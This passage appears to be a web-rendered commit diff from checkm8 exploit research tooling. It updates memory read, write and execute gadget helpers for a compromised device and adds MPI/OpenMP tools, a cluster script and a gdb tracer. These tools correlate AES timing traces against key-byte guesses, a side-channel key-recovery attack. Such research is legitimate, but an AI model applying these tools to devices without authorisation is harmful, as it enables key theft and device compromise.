struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
|
||||
{
|
||||
checkm8_debug_indent("read_gadget(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||
return dev_read_memory(dev, addr, len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("write_gadget(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||
return dev_write_memory(dev, addr, data, len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...)
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("execute_gadget(dev = %p, addr = %lx, nargs = %i)\n", dev, addr, nargs);
|
||||
int i;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include "usb_helpers.h"
|
||||
#include "tool/usb_helpers.h"
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
|
||||
// get the size of this chunk
|
||||
size = 0;
|
||||
ard_read(dev, (unsigned char *) &size, 2);
|
||||
if(size > ARD_BUF_SIZE)
|
||||
{
|
||||
checkm8_debug_indent("\treceived bad chunk size %i\n", size);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
|
||||
|
||||
ard_read(dev, (unsigned char *) &data[amount], size);
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
#define CHECKM8_LOGGING
|
||||
|
||||
#define WITH_ARDUINO
|
||||
//#define WITH_ARDUINO
|
||||
#define ARDUINO_DEV "/dev/ttyACM0"
|
||||
#define ARDUINO_BAUD 115200
|
||||
|
||||
|
||||
14
tools/CMakeLists.txt
Normal file
14
tools/CMakeLists.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
cmake_minimum_required(VERSION 3.10)
|
||||
project(tools C)
|
||||
|
||||
set(CMAKE_C_STANDARD 99)
|
||||
set(CMAKE_C_FLAGS "-g -Wall -fopenmp")
|
||||
|
||||
include_directories(include)
|
||||
|
||||
add_executable(tool_strip correlation/strip/main.c)
|
||||
add_executable(tool_analyze correlation/analyze/main.c)
|
||||
add_executable(tool_verify correlation/verify/main.c)
|
||||
|
||||
target_link_libraries(tool_analyze host_crypto mpi m)
|
||||
target_link_libraries(tool_verify host_crypto m)
|
||||
35
tools/correlation/analyze/analyze.sh
Normal file
35
tools/correlation/analyze/analyze.sh
Normal file
@@ -0,0 +1,35 @@
|
||||
#!/bin/bash
|
||||
|
||||
#SBATCH -J correlate
|
||||
#SBATCH -o corr.%j.out
|
||||
#SBATCH -N 8
|
||||
#SBATCH -n 8
|
||||
#SBATCH -t 01:30:00
|
||||
#SBATCH -p broadwell
|
||||
|
||||
NODEFILE=nodefile.txt
|
||||
rank=0
|
||||
|
||||
echo $SLURM_NODELIST | tr -d c | tr -d [ | tr -d ] | perl -pe 's/(\d+)-(\d+)/join(",",$1..$2)/eg' | awk 'BEGIN { RS=","} { print "c"$1 }' > $NODEFILE
|
||||
|
||||
for node in `cat $NODEFILE`; do
|
||||
ssh -n $node "[[ ! -f /tmp/ghaas/KEY ]] || mkdir -p /tmp/ghaas/ && tar -xf /home/ghaas/correlate/data00.tar.gz -C /tmp/ghaas" & pid[$rank]=$!
|
||||
(( rank++ ))
|
||||
done
|
||||
|
||||
rank=0
|
||||
for node in `cat $NODEFILE`; do
|
||||
echo "waiting on" $rank
|
||||
wait ${pid[$rank]}
|
||||
(( rank++ ))
|
||||
done
|
||||
|
||||
prun ./analyze /tmp/ghaas
|
||||
|
||||
rank=0
|
||||
for node in `cat $NODEFILE`; do
|
||||
ssh -n $node "rm -r /tmp/ghaas" & pid[$rank]=$!
|
||||
(( rank++ ))
|
||||
done
|
||||
|
||||
rm $NODEFILE
|
||||
323
tools/correlation/analyze/main.c
Normal file
323
tools/correlation/analyze/main.c
Normal file
@@ -0,0 +1,323 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <math.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <mpich/mpi.h>
|
||||
#include <omp.h>
|
||||
#include "host_crypto.h"
|
||||
|
||||
#define N_FILES 48
|
||||
#define N_NODES 8
|
||||
#define FILE_PER_NODE (N_FILES / N_NODES)
|
||||
#define MSG_SEPARATE 1024 * 256
|
||||
|
||||
#define ANALYZE_DEBUG 1
|
||||
|
||||
int read_data(unsigned char *dst, char *fname, unsigned int offset, unsigned int num)
|
||||
{
|
||||
unsigned long ret;
|
||||
FILE *datafile = fopen(fname, "rb");
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("read_data(dst = %p, fname = %s, offset = %i, num = %i)\n", dst, fname, offset, num);
|
||||
|
||||
if(datafile == NULL)
|
||||
{
|
||||
printf("failed to open datafile %s\n", fname);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ret = fread(&dst[offset], 1, num, datafile);
|
||||
if(ret != num)
|
||||
{
|
||||
printf("reading %s failed with ferror %i, feof %i\n",
|
||||
fname, ferror(datafile), feof(datafile));
|
||||
return -1;
|
||||
}
|
||||
|
||||
fclose(datafile);
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct summary_stats
|
||||
{
|
||||
double mean;
|
||||
double stddev;
|
||||
};
|
||||
|
||||
struct summary_stats *calculate_stats(unsigned char *data,
|
||||
unsigned int len, int mul, int offset,
|
||||
int rank, int nodes)
|
||||
{
|
||||
int i;
|
||||
double mean = 0, stddev = 0, temp;
|
||||
|
||||
struct summary_stats *res;
|
||||
MPI_Status status;
|
||||
|
||||
/*
|
||||
* First calculate the mean
|
||||
*/
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(len, mul, offset) \
|
||||
shared(data) \
|
||||
reduction(+:mean)
|
||||
for(i = 0; i < len; i++)
|
||||
mean += (double) data[mul * i + offset];
|
||||
|
||||
if(rank == 0)
|
||||
{
|
||||
for(i = 1; i < nodes; i++)
|
||||
{
|
||||
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
|
||||
mean += temp;
|
||||
}
|
||||
|
||||
mean /= (len * nodes);
|
||||
for(i = 1; i < nodes; i++)
|
||||
MPI_Send(&mean, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
|
||||
}
|
||||
else
|
||||
{
|
||||
MPI_Sendrecv_replace(&mean, 1, MPI_DOUBLE,
|
||||
0, 0, 0, 0,
|
||||
MPI_COMM_WORLD, &status);
|
||||
}
|
||||
|
||||
/*
|
||||
* Then the standard deviation
|
||||
*/
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(len, mul, offset, mean) \
|
||||
shared(data) \
|
||||
reduction(+:stddev)
|
||||
for(i = 0; i < len; i++)
|
||||
stddev += pow(data[mul * i + offset] - mean, 2);
|
||||
|
||||
if(rank == 0)
|
||||
{
|
||||
for(i = 1; i < nodes; i++)
|
||||
{
|
||||
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
|
||||
stddev += temp;
|
||||
}
|
||||
|
||||
stddev = sqrt(stddev / (len * nodes));
|
||||
for(i = 1; i < nodes; i++)
|
||||
MPI_Send(&stddev, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
|
||||
}
|
||||
else
|
||||
{
|
||||
PMPI_Sendrecv_replace(&stddev, 1, MPI_DOUBLE,
|
||||
0, 0, 0, 0,
|
||||
MPI_COMM_WORLD, &status);
|
||||
}
|
||||
|
||||
res = malloc(sizeof(struct summary_stats));
|
||||
res->mean = mean;
|
||||
res->stddev = stddev;
|
||||
return res;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int i, j;
|
||||
unsigned int i_byte, i_input, i_key, i_key_split;
|
||||
unsigned int trace_per_file = 0, msg_per_file = 0, num_traces = 0;
|
||||
int rank, nodes;
|
||||
|
||||
char timing_name[256], msg_name[256];
|
||||
struct stat timing_finfo, msg_finfo;
|
||||
|
||||
FILE *keyfile;
|
||||
struct aes_constants *c;
|
||||
unsigned char key[16], key_sched[176], msg_new[16], key_hyp;
|
||||
|
||||
double cov, pearson, temp;
|
||||
struct summary_stats *timing_stats, *model_stats;
|
||||
unsigned char *msg = NULL, *timings = NULL, *model = NULL;
|
||||
|
||||
MPI_Status status;
|
||||
|
||||
if(argc != 2)
|
||||
{
|
||||
printf("usage: analyze [data dir]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
* First, read in the data from each file
|
||||
*/
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("initializing MPI\n");
|
||||
|
||||
MPI_Init(&argc, &argv);
|
||||
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
|
||||
MPI_Comm_size(MPI_COMM_WORLD, &nodes);
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("getting initial sizes\n");
|
||||
|
||||
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank);
|
||||
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank);
|
||||
|
||||
if(stat(timing_name, &timing_finfo) != 0)
|
||||
{
|
||||
printf("failed to stat %s\n", timing_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(stat(msg_name, &msg_finfo) != 0)
|
||||
{
|
||||
printf("failed to stat %s\n", msg_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
trace_per_file = timing_finfo.st_size;
|
||||
msg_per_file = msg_finfo.st_size / 16;
|
||||
num_traces = trace_per_file * FILE_PER_NODE;
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("%i traces per file, %i msgs per file, %i total traces\n",
|
||||
trace_per_file, msg_per_file, num_traces);
|
||||
|
||||
sprintf(timing_name, "%s/KEY", argv[1]);
|
||||
keyfile = fopen(timing_name, "r");
|
||||
if(keyfile == NULL)
|
||||
{
|
||||
printf("failed to open key file\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
fread(key_sched, 1, 2, keyfile);
|
||||
key_sched[2] = 0;
|
||||
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
|
||||
}
|
||||
|
||||
fclose(keyfile);
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("allocating memory\n");
|
||||
|
||||
// allocate memory (big!)
|
||||
model = malloc(64 * num_traces);
|
||||
msg = malloc(16 * num_traces);
|
||||
timings = malloc(num_traces);
|
||||
|
||||
c = get_constants();
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("beginning data read stage\n");
|
||||
|
||||
for(i = 0; i < FILE_PER_NODE; i++)
|
||||
{
|
||||
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
|
||||
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
|
||||
|
||||
read_data(timings, timing_name, trace_per_file * (i % FILE_PER_NODE), trace_per_file);
|
||||
read_data(msg, msg_name, msg_per_file * (i % FILE_PER_NODE), msg_per_file);
|
||||
}
|
||||
|
||||
/*
|
||||
* Then expand the messages so that we can create power models
|
||||
*/
|
||||
|
||||
if(ANALYZE_DEBUG)
|
||||
printf("beginning data expand stage\n");
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(key_sched, msg_per_file) \
|
||||
private(msg_new, j) \
|
||||
shared(msg, c)
|
||||
for(i = 0; i < FILE_PER_NODE * msg_per_file; i++)
|
||||
{
|
||||
memcpy(&msg[i * MSG_SEPARATE], &msg[i], 16);
|
||||
memcpy(msg_new, &msg[i * MSG_SEPARATE], 16);
|
||||
|
||||
for(j = 0; j < MSG_SEPARATE - 1; j++)
|
||||
{
|
||||
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
|
||||
memcpy(&msg[i * MSG_SEPARATE + j + 1], msg_new, 16);
|
||||
}
|
||||
|
||||
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
if(msg_new[j] != msg[(i + 1) * MSG_SEPARATE - 16 + j])
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Start iterating through the byte positions
|
||||
*/
|
||||
|
||||
timing_stats = calculate_stats(timings, num_traces, 1, 0, rank, nodes);
|
||||
for(i_byte = 0; i_byte < 16; i_byte++)
|
||||
{
|
||||
for(i_key_split = 0; i_key_split < 4; i_key_split++)
|
||||
{
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(i_key_split, i_byte, num_traces) \
|
||||
private(key_hyp, i_input) \
|
||||
shared(model, msg) \
|
||||
|
||||
for(i_key = 0; i_key < 64; i_key++)
|
||||
{
|
||||
key_hyp = 4 * i_key_split + i_key;
|
||||
for(i_input = 0; i_input < num_traces; i_input++)
|
||||
{
|
||||
//TODO: power model if this doesn't work
|
||||
model[i_key * num_traces + i_input] = (msg[i_input * 16 + i_byte] ^ key_hyp) % 64;
|
||||
}
|
||||
}
|
||||
|
||||
for(i_key = 0; i_key < 64; i_key++)
|
||||
{
|
||||
model_stats = calculate_stats(model, num_traces, 1, i_key * num_traces, rank, nodes);
|
||||
cov = 0;
|
||||
|
||||
#pragma omp parallel for num_threads(32) default(none) \
|
||||
firstprivate(num_traces, i_key) \
|
||||
shared(model, model_stats, timings, timing_stats) \
|
||||
reduction(+:cov)
|
||||
|
||||
for(i_input = 0; i_input < num_traces; i_input++)
|
||||
{
|
||||
cov += (model[i_key * num_traces + i_input] - model_stats->mean) *
|
||||
(timings[i_input] - timing_stats->mean);
|
||||
}
|
||||
|
||||
if(rank == 0)
|
||||
{
|
||||
for(i = 1; i < nodes; i++)
|
||||
{
|
||||
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
|
||||
cov += temp;
|
||||
}
|
||||
|
||||
cov /= (num_traces * nodes);
|
||||
pearson = cov / (model_stats->stddev * timing_stats->stddev);
|
||||
|
||||
printf("%i\t%i\t%i\t%f\n", i_byte, i_key_split, i_key, pearson);
|
||||
}
|
||||
else
|
||||
{
|
||||
MPI_Send(&cov, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
free(timing_stats);
|
||||
}
|
||||
83
tools/correlation/strip/main.c
Normal file
83
tools/correlation/strip/main.c
Normal file
@@ -0,0 +1,83 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <libgen.h>
|
||||
|
||||
struct entry
|
||||
{
|
||||
unsigned char msg[16];
|
||||
unsigned char pad0;
|
||||
|
||||
unsigned char timing;
|
||||
unsigned char pad1[2];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
FILE *infile, *timingfile, *msgfile;
|
||||
char fname[128], c1[128], c2[128], *path, *name;
|
||||
|
||||
strcpy(c1, argv[1]);
|
||||
strcpy(c2, argv[1]);
|
||||
|
||||
int count = 0;
|
||||
unsigned long read;
|
||||
struct entry e;
|
||||
|
||||
if(argc != 2)
|
||||
{
|
||||
printf("usage: strip [fname]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
path = dirname(c1);
|
||||
name = basename(c2);
|
||||
|
||||
infile = fopen(argv[1], "rb");
|
||||
if(infile == NULL)
|
||||
{
|
||||
printf("failed to open file %s\n", argv[1]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(fname, "%s/timing_%s", path, name);
|
||||
timingfile = fopen(fname, "wb");
|
||||
if(timingfile == NULL)
|
||||
{
|
||||
printf("failed to open timing output\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(fname, "%s/msg_%s", path, name);
|
||||
msgfile = fopen(fname, "wb");
|
||||
if(msgfile == NULL)
|
||||
{
|
||||
printf("failed to open message output\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
while(!(ferror(infile) || feof(infile)))
|
||||
{
|
||||
read = fread(&e, sizeof(struct entry), 1, infile);
|
||||
if(read != 1)
|
||||
break;
|
||||
|
||||
fwrite(&e.timing, 1, 1, timingfile);
|
||||
if(count % (1024 * 256) == 0)
|
||||
{
|
||||
fwrite(&e.msg, 16, 1, msgfile);
|
||||
printf("stripped %i entries\n", count);
|
||||
}
|
||||
|
||||
count++;
|
||||
}
|
||||
|
||||
printf("strip finished with ferror %i feof %i\n", ferror(infile), feof(infile));
|
||||
|
||||
fflush(timingfile);
|
||||
fflush(msgfile);
|
||||
|
||||
fclose(infile);
|
||||
fclose(timingfile);
|
||||
fclose(msgfile);
|
||||
return 0;
|
||||
}
|
||||
147
tools/correlation/verify/main.c
Normal file
147
tools/correlation/verify/main.c
Normal file
@@ -0,0 +1,147 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <math.h>
|
||||
|
||||
#include "host_crypto.h"
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int b, i, j, k, l, num;
|
||||
|
||||
unsigned char timing;
|
||||
unsigned char msg[16];
|
||||
unsigned char key[16];
|
||||
unsigned char key_sched[176];
|
||||
struct aes_constants *c;
|
||||
|
||||
double t[16][256];
|
||||
double tsq[16][256];
|
||||
double tnum[16][256];
|
||||
double u[16][256];
|
||||
double udev[16][256];
|
||||
double taverage;
|
||||
unsigned long long count = 0, ttotal = 0;
|
||||
|
||||
FILE *keyfile, *msgfile, *timefile, *outfile;
|
||||
char timing_name[256], msg_name[256], linebuf[256];
|
||||
|
||||
if(argc != 2)
|
||||
{
|
||||
printf("usage: verify [data dir]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(timing_name, "%s/KEY", argv[1]);
|
||||
keyfile = fopen(timing_name, "r");
|
||||
if(keyfile == NULL)
|
||||
{
|
||||
printf("failed to open key file\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
fread(key_sched, 1, 2, keyfile);
|
||||
key_sched[2] = 0;
|
||||
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
|
||||
}
|
||||
|
||||
fclose(keyfile);
|
||||
|
||||
c = get_constants();
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
for(i = 0; i < 46; i++)
|
||||
{
|
||||
num = 0;
|
||||
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], i);
|
||||
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], i);
|
||||
|
||||
msgfile = fopen(msg_name, "rb");
|
||||
if(msgfile == NULL)
|
||||
{
|
||||
printf("failed to open msgfile %s\n", msg_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
timefile = fopen(timing_name, "rb");
|
||||
if(timefile == NULL)
|
||||
{
|
||||
printf("failed to open timing file %s\n", timing_name);
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("file %i\n", i);
|
||||
|
||||
for(j = 0; j < 375; j++)
|
||||
{
|
||||
fread(msg, 16, 1, msgfile);
|
||||
fread(&timing, 1, 1, timefile);
|
||||
|
||||
printf("%i\t", num++);
|
||||
for(k = 0; k < 16; k++)
|
||||
printf("%02X", msg[k]);
|
||||
|
||||
for(k = 0; k < 1024 * 256; k++)
|
||||
{
|
||||
for(l = 0; l < 16; l++)
|
||||
{
|
||||
t[l][msg[l]] += timing;
|
||||
tsq[l][msg[l]] += (timing * timing);
|
||||
tnum[l][msg[l]] += 1;
|
||||
|
||||
count++;
|
||||
ttotal += timing;
|
||||
}
|
||||
|
||||
fread(&timing, 1, 1, timefile);
|
||||
aes128_encrypt_ecb(msg, 16, key_sched, c);
|
||||
}
|
||||
|
||||
printf(" -> ");
|
||||
for(k = 0; k < 16; k++)
|
||||
printf("%02X", msg[k]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
fclose(msgfile);
|
||||
fclose(timefile);
|
||||
}
|
||||
|
||||
taverage = ttotal / (double) count;
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
u[j][b] = t[j][b] / tnum[j][b];
|
||||
udev[j][b] = tsq[j][b] / tnum[j][b];
|
||||
udev[j][b] -= u[j][b] * u[j][b];
|
||||
udev[j][b] = sqrt(udev[j][b]);
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(linebuf, "dat_%lli.dat", count / 16 / 100000);
|
||||
outfile = fopen(linebuf, "w+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open data file\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
sprintf(linebuf,
|
||||
"%2d %3d %lli %f %f %f %f\n",
|
||||
j, b, (long long) tnum[j][b],
|
||||
u[j][b], udev[j][b],
|
||||
u[j][b] - taverage, udev[j][b] / sqrt(tnum[j][b]));
|
||||
fputs(linebuf, outfile);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(outfile);
|
||||
}
|
||||
20
tools/include/host_crypto.h
Normal file
20
tools/include/host_crypto.h
Normal file
@@ -0,0 +1,20 @@
|
||||
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
#define CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
|
||||
struct aes_constants
|
||||
{
|
||||
unsigned char sbox[16][16];
|
||||
unsigned char rc_lookup[11];
|
||||
unsigned char mul2[256];
|
||||
unsigned char mul3[256];
|
||||
} __attribute__ ((packed));
|
||||
|
||||
void expand_key(unsigned char key[16], unsigned char key_sched[176],
|
||||
int n, struct aes_constants *c);
|
||||
|
||||
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
|
||||
unsigned char key_sched[176], struct aes_constants *c);
|
||||
|
||||
struct aes_constants *get_constants();
|
||||
|
||||
#endif //CHECKM8_TOOL_HOST_CRYPTO_H
|
||||
111
tools/scripts/profile.py
Normal file
111
tools/scripts/profile.py
Normal file
@@ -0,0 +1,111 @@
|
||||
import gdb
|
||||
|
||||
def val_from_sym(name):
|
||||
print 'getting value for %s' % name
|
||||
|
||||
try:
|
||||
if name == 'wzr' or name == 'xzr':
|
||||
return '0'
|
||||
|
||||
elif name[0] == '#':
|
||||
return name
|
||||
|
||||
elif name[0] in ['x', 'w']:
|
||||
return '0x{:x}'.format(int(gdb.selected_frame().read_register(name)))
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
except:
|
||||
return 'val?'
|
||||
|
||||
|
||||
class Profile(gdb.Command):
|
||||
def __init__(self):
|
||||
super(Profile, self).__init__("profile", gdb.COMMAND_USER)
|
||||
|
||||
def invoke(self, args, from_tty):
|
||||
argv = gdb.string_to_argv(args)
|
||||
if len(argv) != 1:
|
||||
raise gdb.GdbError("Usage: profile [fname]")
|
||||
|
||||
arch = gdb.selected_frame().architecture()
|
||||
instr_type = gdb.lookup_type("unsigned int").pointer()
|
||||
|
||||
next_dest = None
|
||||
stack = []
|
||||
|
||||
outfile = open(argv[0], "a+")
|
||||
|
||||
while True:
|
||||
if next_dest is not None:
|
||||
outfile.write('\tdest %s\n' % val_from_sym(next_dest))
|
||||
next_dest = None
|
||||
|
||||
addr = gdb.selected_frame().read_register("pc")
|
||||
instr = arch.disassemble(int(str(addr), 16))[0]['asm']
|
||||
if instr == '.inst\t0x00000000 ; undefined':
|
||||
break
|
||||
|
||||
instr_spl = instr.split()
|
||||
|
||||
mnem = instr_spl[0]
|
||||
dest = None
|
||||
arg1 = None
|
||||
arg2 = None
|
||||
|
||||
outfile.write('\n%s\t%s\n' % (addr, instr))
|
||||
if len(instr_spl) > 1:
|
||||
dest = instr_spl[1].strip(',')
|
||||
|
||||
if len(instr_spl) > 2:
|
||||
arg1 = instr_spl[2].strip(',')
|
||||
|
||||
if len(instr_spl) > 3:
|
||||
arg2 = instr_spl[3].strip(',')
|
||||
|
||||
if mnem == 'bl' or mnem == 'blr':
|
||||
outfile.write('\tentering %s\n' % dest)
|
||||
stack.append(dest)
|
||||
|
||||
outfile.write('\targs: [')
|
||||
for reg in ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7']:
|
||||
outfile.write('%s, ' % val_from_sym(reg))
|
||||
outfile.write(']\n')
|
||||
|
||||
elif mnem == 'ret':
|
||||
if len(stack) > 0:
|
||||
outfile.write('\tfinished %s\n' % stack.pop())
|
||||
else:
|
||||
outfile.write('\tfinished ??\n')
|
||||
|
||||
outfile.write('\tretval %s\n' % val_from_sym('x0'))
|
||||
|
||||
elif mnem == 'ldr' or mnem == 'ldp':
|
||||
outfile.write('\tdest %s\n' % val_from_sym(dest))
|
||||
if mnem == 'ldp':
|
||||
outfile.write('\tdest %s\n' % val_from_sym(arg1))
|
||||
|
||||
elif mnem == 'str' or mnem == 'stp':
|
||||
outfile.write('\targ1 %s\n' % val_from_sym(dest))
|
||||
if mnem == 'stp':
|
||||
outfile.write('\targ2 %s\n' % val_from_sym(arg1))
|
||||
|
||||
else:
|
||||
if dest is not None and dest[0] in ['x', 'w']:
|
||||
next_dest = dest
|
||||
|
||||
if arg1 is not None:
|
||||
val = val_from_sym(arg1)
|
||||
if val is not None:
|
||||
outfile.write('\targ1 %s\n' % val)
|
||||
|
||||
if arg2 is not None:
|
||||
val = val_from_sym(arg2)
|
||||
if val is not None:
|
||||
outfile.write('\targ2 %s\n' % val)
|
||||
|
||||
gdb.execute("stepi", to_string=False)
|
||||
outfile.close()
|
||||
|
||||
Profile()
|
||||
Reference in New Issue
Block a user